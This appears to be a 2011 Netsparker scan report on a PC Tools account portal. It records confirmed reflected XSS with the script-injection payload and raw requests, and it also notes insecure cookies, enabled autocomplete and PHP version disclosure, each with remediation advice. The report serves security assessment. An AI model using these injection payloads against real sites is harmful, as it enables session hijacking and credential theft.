XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection
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Netsparker - Scan Report Summary
TARGET URL
https://secure.pctools.com/myaccount/
SCAN DATE
3/20/2011 8:11:58 PM
REPORT DATE
3/20/2011 8:21:42 PM
SCAN DURATION
00:08:55
Total Requests
Average Speed
req/sec.
7
identified
5
confirmed
0
critical
1
informational
GHDB, DORK Tests
GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled
VULNERABILITIES
Vulnerabilities
Cross-site Scripting
Cross-site Scripting
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (
Javascript, VbScript ) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
External References
- /myaccount/signup/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000745)%3C/script%3E
/myaccount/signup/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000745)%3C/script%3E
CONFIRMED
Parameters
Parameter
Type
Value
URI-BASED
Raw URI
'"--></style></script><script>alert(0x000745)</script>
Request
GET /myaccount/signup/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000745)%3C/script%3E HTTP/1.1 Referer: https://secure.pctools.com/myaccount/ User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: secure.pctools.com Cookie: PHPSESSID=de9ec96a2cf9e0fc329d52c9d14784b5 Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Server: Apache X-Powered-By: PHP/4.4.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI DSP COR NID CUR ADMo TAIo OUR STP COM STA" pics-label: (pics-1.1 "http://www.icra.org/ratingsv02.html" l gen true for "http://www.pctools.com" r (nz 1 vz 1 lz 1 oz 1 cz 1)) Content-Encoding: Vary: Accept-Encoding Content-Length: 6601 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www7.pctools.com:8080 Date: Mon, 21 Mar 2011 01:11:36 GMT Connection: keep-alive <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <title>PC Tools - My Account Signup </title> <meta http-equiv="content-type" content="text/html;charset=UTF-8"> <meta name="description" content="PC Tools publishes highly trusted, award-winning PC software, including Spyware Doctor, Registry Mechanic, Free AntiVirus, Firewall Plus and Spam Monitor, which protect the privacy and security of Windows® PC users."> <meta name="keywords" content="PC Software, PC software download, PC utilities"> <meta name="google-site-verification" content="9tcREuFGzBlAoggj4zkFO8K2P1g23EWWZznTZE_vvVk"> <meta name="y_key" content="bbf4ccb064a49855"> <meta name="msvalidate.01" content="F34816E282A125EA2B36F92F1F4DEBE5"> <!-- SiteCatalyst --><!-- Facebook open graph --> <meta property="og:title" content="PC Tools - My Account Signup "/> <meta property="og:type" content="website"/> <meta property="og:url" content="http://secure.pctools.com/myaccount/"/> <meta property="og:site_name" content="PCTOOLS"/> <meta property="fb:admins" content="100000215074489"/> <meta property="og:description" content="PC Tools publishes highly trusted, award-winning PC software, including Spyware Doctor, Registry Mechanic, Free AntiVirus, Firewall Plus and Spam Monitor, which protect the privacy and security of Windows® PC users."/> <link href="/res/new/css/style-min.css" rel="stylesheet" type="text/css" media="screen, projection"> <link href="/res/css/print.css" rel="stylesheet" type="text/css" media="print"> <script src='/res/new/js/pctools-min.js' type='text/javascript'></script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> var uri = new Object(); getURL(uri); var up = uri.path; up = up.replace(/[/]*$/g,''); if(up.search(/^\//) < 0) { up='/'+up;} if(up.search(/\/$/) < 0) { up=up+"/";} var pageTracker = _gat._getTracker("UA-1490218-1"); if(getRef() != "") { pageTracker._setCampNameKey("ref");} if(getParam('utm_campaign') != "") { pageTracker._setCampNameKey("utm_campaign");} pageTracker._setDomainName(".pctools.com"); pageTracker._initData(); pageTracker._trackPageview(up); </script><script src='/res/js/mbox.js' type='text/javascript'></script> <script type="text/javascript" src="/res/js/jquery-1.4.2.min.js"></script> <link rel="canonical" href="http://www.pctools.com/guides/password/"> <link rel="stylesheet" href="/res/new/css/coda-slider-2.0-min.css" type="text/css" media="screen"> <link rel="stylesheet" href="/res/new/css/smoothness/jquery-ui-1.8.custom-min.css" type="text/css" media="screen"> <link type="text/css" href="/res/new/css/smoothness/jquery-ui-1.8.accordion-min.css" rel="stylesheet" media="screen"> <link href="/res/new/css/myaccount.css" rel="stylesheet" type="text/css" media="screen, projection"> <style type="text/css"> img, input, form, li, li#login a, ul { behavior: url(/res/new/images/iepngfix.htc) } </style> <link href="/res/new/css/en.css" rel="stylesheet" type="text/css" media="screen, projection"></head><body><div id="header"> <a href="http://www.pctools.com/"><img class="logo" src="/res/new/images/logo.png" alt="PC Antivirus Antispyware Software and Windows Utilities - PC Tools"></a></div><!-- menu start--><ul id="topnav"><li class="nav" id="home"><a href="http://www.pctools.com/">Home</a></li><li class="nav" id="dropdown"><a href="http://www.pctools.com/pc-software/">Software <img src="/res/new/images/dropdown-arrowdown.png"></a><div class="clear"></div><div class="sub"><ul><li><h3>Security Software</h3></li><li><a href="http://www.pctools.com/internet-security/">PC Tools<sup></sup> Internet Security</a></li><li><a href="http://www.pctools.com/spyware-doctor-antivirus/">PC Tools Spyware Doctor<sup></sup> with AntiVirus</a></li><li><a href="http://www.pctools.com/spyware-doctor/">PC Tools Spyware Doctor<sup></sup> </a></li><li><a href="http://www.pctools.com/free-antivirus/">PC Tools<sup></sup> AntiVirus Free </a></li><li><a href="http://www.threatfire.com/">ThreatFire</a></li><li><a href="http://www.iantivirus.com/">iAntiVirus for Mac OS X</a></li><li><a href="http://www.pctools.com/firewall/">PC Tools<sup></sup> Firewall Plus</a></li></ul><ul><li><h3>Utility Software</h3></li><li><a href="http://www.pctools.com/performance-toolkit/">PC Tools<sup></sup> Performance Toolkit</a></li><li><a href="http://www.pctools.com/registry-mechanic/">PC Tools Registry Mechanic<sup></sup></a></li><li><a href="http://www.pctools.com/simple-backup/">PC Tools<sup></sup> Simple Backup</a></li><li><a href="http://www.pctools.com/file-recover/">PC Tools<sup></sup> File Recover</a></li><li><a href="http://www.pctools.com/privacy-guardian/">PC Tools<sup></sup> Privacy Guardian</a></li><li><a href="http://www.pctools.com/password-manager/">RoboForm Pro</a></li><li><a href="http://www.pctools.com/synchronize/">GoodSync Pro</a></li></ul></div></li><li class="nav" id=""><a href="http://www.pctools.com/support/">Support</a></li><li class="nav" id=""><a href="http://www.pctools.com/company/">Company</a></li><li id="corner-right" class="nav"><img src="/res/new/images/navbg-right.gif"/></li><li id="login" class="nav"> <span id="myaccount_login" style="display: none;"><a href="/myaccount/" rel="NOFOLLOW" style="color:#FFF">MyAccount Login</a></span> <span id="myaccount_logout" style="display: none;"><a href="/myaccount/logout/" rel="NOFOLLOW" style="color:#FFF">Logout</a></span> <span id="myaccount" style="display: none;"><a href="/myaccount/" rel="NOFOLLOW" style="color:#FFF">MyAccount</a></span></li></ul><!-- menu end--><div id="ps"></div><!--<script language="JavaScript" src="/res/js/apd.js"></script>--><script type="text/javascript"> var authenticated = 0; var pr_auth = 0; var language = 'en';</script> <!-- site start--> <!-- subhead start--> <!-- subhead end--><div id="main-top"> <h1>MyAccount Registration</h1><div><p>Welcome to PC Tools <strong>MyAccount</strong> Registration page.</p> <p>Sign up with PC Tools My Account to easily access your product details and license codes, manage your subscription payment options, browse PC Tools’ complementary products that enhance your PC experience, and monitor your support requests from one central location.</p> <p>Please enter the email address you used when placing your PC Tools software order below to confirm your status on PC Tools <strong>MyAccount</strong> page.</p></div><form method="POST"><table id="tab_table" cellpadding="0" cellspacing="0"><tr><td class="x"><table class="heading_tbl" cellpadding="0" cellspacing="0"><tr><td class="corner_b_l"> </td><td class="text_b_c">1. Enter your email</td><td class="corner_b_r"> </td></tr></table></td><td class="x"><table class="heading_tbl" cellpadding="0" cellspacing="0"><tr><td class="corner_g_l"> </td><td class="text_g_c">2. Enter your login details</td><td class="corner_g_r"> </td></tr></table></td><td class="x"><table class="heading_tbl" cellpadding="0" cellspacing="0"><tr><td class="corner_g_l"> </td><td class="text_g_c">3. Finish Registration</td><td class="corner_g_r"> </td></tr></table></td></tr></table><div id="greyborder"><table width="100%" cellspacing="5"> <tr> <td><br> <input type="hidden" name="step" value="2e957eb8c030fc2d10de5607715f4c55"> <b style="color: #5E5F5F;">E-mail:</b> <input type="text" name="email" class="textfield" size="40"> </td> </tr> <tr> <td><div class="smallnote"><p>Please enter a valid email address. When the registration process finishes, we will send you a verification code to this email.</p></div></td> </tr> <tr> <td align="right"> <div style="margin-top: 20px;"><input type="submit" value="Continue" class="button_blue"></div> </td> </tr></table></div></form><div><p>Already have an account? Please <a href="/myaccount/">login here</a>.</p></div> <div class="clear"> </div></div><div id="footer"> <div class="footer-content"><ul> <li class="footer-header">Security Software</li> <li><a href="http://free.pctools.com/free-antivirus/">Free AntiVirus Software</a></li> <li><a href="http://www.pctools.com/internet-security/">PC Tools<sup>™</sup> Internet Security</a></li> <li><a href="http://www.pctools.com/spyware-doctor-antivirus/">PC Tools Spyware Doctor<sup>™</sup> with AntiVirus</a></li> <li><a href="http://www.pctools.com/spyware-doctor/">PC Tools Spyware Doctor<sup>™</sup> </a></li> <li><a href="http://www.threatfire.com">ThreatFire</a></li> <li><a href="http://www.browserdefender.com/">Browser Defender</a></li></ul><ul> <li class="footer-header">Utility Software</li> <li><a href="http://www.pctools.com/performance-toolkit/">PC Tools<sup>™</sup> Performance Toolkit</a></li> <li><a href="http://www.pctools.com/registry-mechanic/">PC Tools Registry Mechanic<sup>™</sup></a></li> <li><a href="http://www.pctools.com/simple-backup/">PC Tools<sup>™</sup> Simple Backup</a></li> <li><a href="http://www.pctools.com/file-recover/">PC Tools<sup>™</sup> File Recover</a></li> <li><a href="http://www.pctools.com/privacy-guardian/">PC Tools<sup>™</sup> Privacy Guardian</a></li> <li><a href="http://www.pctools.com/password-manager/">RoboForm Pro</a></li> <li><a href="http://www.pctools.com/synchronize/">GoodSync Pro</a></li></ul><ul class="narrow"> <li class="footer-header">Links</li> <li><a href="http://www.pctools.com/security-news/glossary/">Adware Glossary</a></li> <li><a href="http://www.pctools.com/mrc/dispute/">Spyware Disputes</a></li> <li><a href="http://www.pctools.com/security-news/">Security News</a></li> <li><a href="http://www.pctools.com/sitemap/">Sitemap</a></li> <li><a href="http://www.pctools.com/mrc/infections/">Infection Database</a></li></ul><ul class="narrow"> <li class="footer-header">Company</li> <li><a href="http://www.pctools.com/company/">About Us</a></li> <li><a href="http://www.pctools.com/company/awards/">Awards</a></li> <li><a href="http://www.pctools.com/labs/">Labs</a></li> <li><a href="http://www.pctools.com/partners/">Partners</a></li></ul><div class="social"> <span class="footer-header">Get Updates</span><br> <span class="ok" id="subscriberesult_btm"></span> <form action="/newsletter/subscribe/" name="softmail" method="post"> <input type="hidden" value="" name="detail_id" /> <input type="hidden" value="default" name="product" /> <input type="text" title="Enter your e-mail address" id="email_btm" name="email" class="blur" /> <input type="submit" onclick="newsletterSubscribe_btm(); return false;" value="Submit" /> <input type="hidden" value="1" name="submitted"> </form> <ul class="social-links"> <li id="facebook"><img src="/res/new/images/facebook.png"> <a href="http://www.facebook.com/PCTOOLS">Find us on Facebook</a></li> <li id ="like"><iframe src="http://www.facebook.com/plugins/like.php?href=secure.pctools.com/myaccount/&layout=button_count&width=90&action=like&colorscheme=light&height=20" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:90px; height:20px;" allowTransparency="true"></iframe></li> <li id="twitter" ><img src="/res/new/images/twitter.png"> <a href="http://twitter.com/pctools">Find us on Twitter</a></li> </ul> </div> <div style="clear:both"></div> <script type="text/javascript"> function Ajax() { // This is how we make Private variables. var http_request = false var callback_fctn = false // This is how we make a Private method - it is the only way to access the Private variables above. function contents() { if( http_request.readyState == 4 ) { if( http_request.status == 200 ) { callback_fctn(http_request) } http_request = false callback_fctn = false } } // And this is a Privileged method - it cannot be replaced, but it has Public accessability and can work with Private variables and methods. // (Many people would call this a Public method, which is almost correct insofar as it is available publically.) this.request = function(url, return_fctn, post_data) { if( http_request ) // Oops: request in process! return false if( window.XMLHttpRequest ) { // Mozilla, Safari,... http_request = new XMLHttpRequest() // This might be reqiured for Mozilla at some point // if( http_request.overrideMimeType ) http_request.overrideMimeType('text/xml'); } else if( window.ActiveXObject ) { // IE try { http_request = new ActiveXObject("Msxml2.XMLHTTP") } catch (e) { try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { } } } if( !http_request ) { // alert('Giving up -- Cannot create an XMLHTTP instance'); return false; } // Anonymous functions like this lead to memory leaks in IE6, unfortunately. // this.http_request.onreadystatechange = function() { Ajax.contents(http_request, return_fctn); }; callback_fctn = return_fctn http_request.onreadystatechange = contents; if( post_data ) { http_request.open('POST', url, true); http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); http_request.setRequestHeader('Cookie', document.cookie); http_request.send(post_data); } else { http_request.open('GET', url, true) http_request.setRequestHeader('Cookie', document.cookie); http_request.send(null); } return true; };}</script><script type="text/javascript">var supportAjax_btm = new Ajax();var theElement_btm = "subscriberesult_btm";function updateView_btm(request) { if (document.getElementById(theElement_btm) && request.responseText != "") { document.getElementById(theElement_btm).style.display = ''; document.getElementById(theElement_btm).innerHTML = request.responseText; }}function newsletterSubscribe_btm() { supportAjax_btm.request('/res/ajax/newsletter.php?email=' + encodeURIComponent(document.getElementById('email_btm').value) + '&pro..
- /myaccount/password/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000746)%3C/script%3E
/myaccount/password/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000746)%3C/script%3E
CONFIRMED
Parameters
Parameter
Type
Value
URI-BASED
Raw URI
'"--></style></script><script>alert(0x000746)</script>
Request
GET /myaccount/password/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000746)%3C/script%3E HTTP/1.1 Referer: https://secure.pctools.com/myaccount/ User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: secure.pctools.com Cookie: PHPSESSID=de9ec96a2cf9e0fc329d52c9d14784b5 Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Server: Apache X-Powered-By: PHP/4.4.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI DSP COR NID CUR ADMo TAIo OUR STP COM STA" pics-label: (pics-1.1 "http://www.icra.org/ratingsv02.html" l gen true for "http://www.pctools.com" r (nz 1 vz 1 lz 1 oz 1 cz 1)) Content-Encoding: Vary: Accept-Encoding Content-Length: 6079 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www5.pctools.com:8080 Date: Mon, 21 Mar 2011 01:11:36 GMT Connection: keep-alive <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <title>PC Tools - My Account </title> <meta http-equiv="content-type" content="text/html;charset=UTF-8"> <meta name="description" content="PC Tools publishes highly trusted, award-winning PC software, including Spyware Doctor, Registry Mechanic, Free AntiVirus, Firewall Plus and Spam Monitor, which protect the privacy and security of Windows® PC users."> <meta name="keywords" content="PC Software, PC software download, PC utilities"> <meta name="google-site-verification" content="9tcREuFGzBlAoggj4zkFO8K2P1g23EWWZznTZE_vvVk"> <meta name="y_key" content="bbf4ccb064a49855"> <meta name="msvalidate.01" content="F34816E282A125EA2B36F92F1F4DEBE5"> <!-- SiteCatalyst --><!-- Facebook open graph --> <meta property="og:title" content="PC Tools - My Account "/> <meta property="og:type" content="website"/> <meta property="og:url" content="http://secure.pctools.com/myaccount/"/> <meta property="og:site_name" content="PCTOOLS"/> <meta property="fb:admins" content="100000215074489"/> <meta property="og:description" content="PC Tools publishes highly trusted, award-winning PC software, including Spyware Doctor, Registry Mechanic, Free AntiVirus, Firewall Plus and Spam Monitor, which protect the privacy and security of Windows® PC users."/> <link href="/res/new/css/style-min.css" rel="stylesheet" type="text/css" media="screen, projection"> <link href="/res/css/print.css" rel="stylesheet" type="text/css" media="print"> <script src='/res/new/js/pctools-min.js' type='text/javascript'></script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? 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Cookie Not Marked As Secure
Cookie Not Marked As Secure
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (
Man in the middle ) attack.
Impact
This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie ) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.
Actions to Take
See the remedy for solution.
Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure. ))
Mark all cookies used within the application as secure.
Required Skills for Successful Exploitation
To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to ) to a system between the victim and the web server.
- /myaccount/
/myaccount/
CONFIRMED
PHPSESSID
Request
GET /myaccount/ HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: secure.pctools.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Server: Apache X-Powered-By: PHP/4.4.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI DSP COR NID CUR ADMo TAIo OUR STP COM STA" pics-label: (pics-1.1 "http://www.icra.org/ratingsv02.html" l gen true for "http://www.pctools.com" r (nz 1 vz 1 lz 1 oz 1 cz 1)) Content-Encoding: Vary: Accept-Encoding Content-Length: 6468 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www5.pctools.com:8080 Date: Mon, 21 Mar 2011 01:11:08 GMT Connection: keep-alive Set-Cookie: PHPSESSID=2e26588c894c8bf4f2bc494429cdbc23; expires=Mon, 21 Mar 2011 02:23:08 GMT; path=/; domain=pctools.com <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <title>PC Tools - My Account </title> <meta http-equiv="content-type" content="text/html;charset=UTF-8"> <meta name="description" content="PC Tools publishes highly trusted, award-winning PC software, including Spyware Doctor, Registry Mechanic, Free AntiVirus, Firewall Plus and Spam Monitor, which protect the privacy and security of Windows® PC users."> <meta name="keywords" content="PC Software, PC software download, PC utilities"> <meta name="google-site-verification" content="9tcREuFGzBlAoggj4zkFO8K2P1g23EWWZznTZE_vvVk"> <meta name="y_key" content="bbf4ccb064a49855"> <meta name="msvalidate.01" content="F34816E282A125EA2B36F92F1F4DEBE5"> <!-- SiteCatalyst --><!-- Facebook open graph --> <meta property="og:title" content="PC Tools - My Account "/> <meta property="og:type" content="website"/> <meta property="og:url" content="http://secure.pctools.com/myaccount/"/> <meta property="og:site_name" content="PCTOOLS"/> <meta property="fb:admins" content="100000215074489"/> <meta property="og:description" content="PC Tools publishes highly trusted, award-winning PC software, including Spyware Doctor, Registry Mechanic, Free AntiVirus, Firewall Plus and Spam Monitor, which protect the privacy and security of Windows® PC users."/> <link href="/res/new/css/style-min.css" rel="stylesheet" type="text/css" media="screen, projection"> <link href="/res/css/print.css" rel="stylesheet" type="text/css" media="print"> <script src='/res/new/js/pctools-min.js' type='text/javascript'></script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? 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All rights reserved.</td> <td class="copy noprint" width="250" align="righ..
Auto Complete Enabled
Auto Complete Enabled
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".
Impact
Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.
Add the attribute autocomplete="off"
to the form tag or to individual "input" fields.
Actions to Take
See the remedy for the solution.
Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.
Required Skills for Successful Exploitation
Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.
External References
- /myaccount/
/myaccount/
CONFIRMED
password
Request
GET /myaccount/ HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: secure.pctools.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Server: Apache X-Powered-By: PHP/4.4.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI DSP COR NID CUR ADMo TAIo OUR STP COM STA" pics-label: (pics-1.1 "http://www.icra.org/ratingsv02.html" l gen true for "http://www.pctools.com" r (nz 1 vz 1 lz 1 oz 1 cz 1)) Content-Encoding: Vary: Accept-Encoding Content-Length: 6468 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www5.pctools.com:8080 Date: Mon, 21 Mar 2011 01:11:08 GMT Connection: keep-alive Set-Cookie: PHPSESSID=2e26588c894c8bf4f2bc494429cdbc23; expires=Mon, 21 Mar 2011 02:23:08 GMT; path=/; domain=pctools.com <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <title>PC Tools - My Account </title> <meta http-equiv="content-type" content="text/html;charset=UTF-8"> <meta name="description" content="PC Tools publishes highly trusted, award-winning PC software, including Spyware Doctor, Registry Mechanic, Free AntiVirus, Firewall Plus and Spam Monitor, which protect the privacy and security of Windows® PC users."> <meta name="keywords" content="PC Software, PC software download, PC utilities"> <meta name="google-site-verification" content="9tcREuFGzBlAoggj4zkFO8K2P1g23EWWZznTZE_vvVk"> <meta name="y_key" content="bbf4ccb064a49855"> <meta name="msvalidate.01" content="F34816E282A125EA2B36F92F1F4DEBE5"> <!-- SiteCatalyst --><!-- Facebook open graph --> <meta property="og:title" content="PC Tools - My Account "/> <meta property="og:type" content="website"/> <meta property="og:url" content="http://secure.pctools.com/myaccount/"/> <meta property="og:site_name" content="PCTOOLS"/> <meta property="fb:admins" content="100000215074489"/> <meta property="og:description" content="PC Tools publishes highly trusted, award-winning PC software, including Spyware Doctor, Registry Mechanic, Free AntiVirus, Firewall Plus and Spam Monitor, which protect the privacy and security of Windows® PC users."/> <link href="/res/new/css/style-min.css" rel="stylesheet" type="text/css" media="screen, projection"> <link href="/res/css/print.css" rel="stylesheet" type="text/css" media="print"> <script src='/res/new/js/pctools-min.js' type='text/javascript'></script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? 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All rights reserved.</td> <td class="copy noprint" width="250" align="righ..
Cookie Not Marked As HttpOnly
Cookie Not Marked As HttpOnly
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
See the remedy for solution
Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as
XSS Tunnel to bypass HTTPOnly protection.
External References
- /myaccount/
/myaccount/
CONFIRMED
PHPSESSID
Request
GET /myaccount/ HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: secure.pctools.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
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return false if( window.XMLHttpRequest ) { // Mozilla, Safari,... http_request = new XMLHttpRequest() // This might be reqiured for Mozilla at some point // if( http_request.overrideMimeType ) http_request.overrideMimeType('text/xml'); } else if( window.ActiveXObject ) { // IE try { http_request = new ActiveXObject("Msxml2.XMLHTTP") } catch (e) { try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { } } } if( !http_request ) { // alert('Giving up -- Cannot create an XMLHTTP instance'); return false; } // Anonymous functions like this lead to memory leaks in IE6, unfortunately. // this.http_request.onreadystatechange = function() { Ajax.contents(http_request, return_fctn); }; callback_fctn = return_fctn http_request.onreadystatechange = contents; if( post_data ) { http_request.open('POST', url, true); http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); http_request.setRequestHeader('Cookie', document.cookie); http_request.send(post_data); } else { http_request.open('GET', url, true) http_request.setRequestHeader('Cookie', document.cookie); http_request.send(null); } return true; };}</script><script type="text/javascript">var supportAjax_btm = new Ajax();var theElement_btm = "subscriberesult_btm";function updateView_btm(request) { if (document.getElementById(theElement_btm) && request.responseText != "") { document.getElementById(theElement_btm).style.display = ''; document.getElementById(theElement_btm).innerHTML = request.responseText; }}function newsletterSubscribe_btm() { supportAjax_btm.request('/res/ajax/newsletter.php?email=' + encodeURIComponent(document.getElementById('email_btm').value) + '&product=myaccount&language=en',updateView_btm);}</script> <table cellpadding="0" cellspacing="0" border="0" width="100%"> <tr> <td width="250" class="noprint"> </td> <td class="copy" align="center">Copyright © 1998-2011 PC Tools. All rights reserved.</td> <td class="copy noprint" width="250" align="righ..
PHP Version Disclosure
PHP Version Disclosure
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.
Impact
An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /myaccount/
/myaccount/
PHP/4.4.8
Request
GET /myaccount/ HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: secure.pctools.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Server: Apache X-Powered-By: PHP/4.4.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI DSP COR NID CUR ADMo TAIo OUR STP COM STA" pics-label: (pics-1.1 "http://www.icra.org/ratingsv02.html" l gen true for "http://www.pctools.com" r (nz 1 vz 1 lz 1 oz 1 cz 1)) Content-Encoding: Vary: Accept-Encoding Content-Length: 6468 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www7.pctools.com:8080 Date: Mon, 21 Mar 2011 01:11:08 GMT Connection: keep-alive Set-Cookie: PHPSESSID=3054e84060529fb5cfb6b5e5ad017989; expires=Mon, 21 Mar 2011 02:23:08 GMT; path=/; domain=pctools.com <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <title>PC Tools - My Account </title> <meta http-equiv="content-type" content="text/html;charset=UTF-8"> <meta name="description" content="PC Tools publishes highly trusted, award-winning PC software, including Spyware Doctor, Registry Mechanic, Free AntiVirus, Firewall Plus and Spam Monitor, which protect the privacy and security of Windows® PC users."> <meta name="keywords" content="PC Software, PC software download, PC utilities"> <meta name="google-site-verification" content="9tcREuFGzBlAoggj4zkFO8K2P1g23EWWZznTZE_vvVk"> <meta name="y_key" content="bbf4ccb064a49855"> <meta name="msvalidate.01" content="F34816E282A125EA2B36F92F1F4DEBE5"> <!-- SiteCatalyst --><!-- Facebook open graph --> <meta property="og:title" content="PC Tools - My Account "/> <meta property="og:type" content="website"/> <meta property="og:url" content="http://secure.pctools.com/myaccount/"/> <meta property="og:site_name" 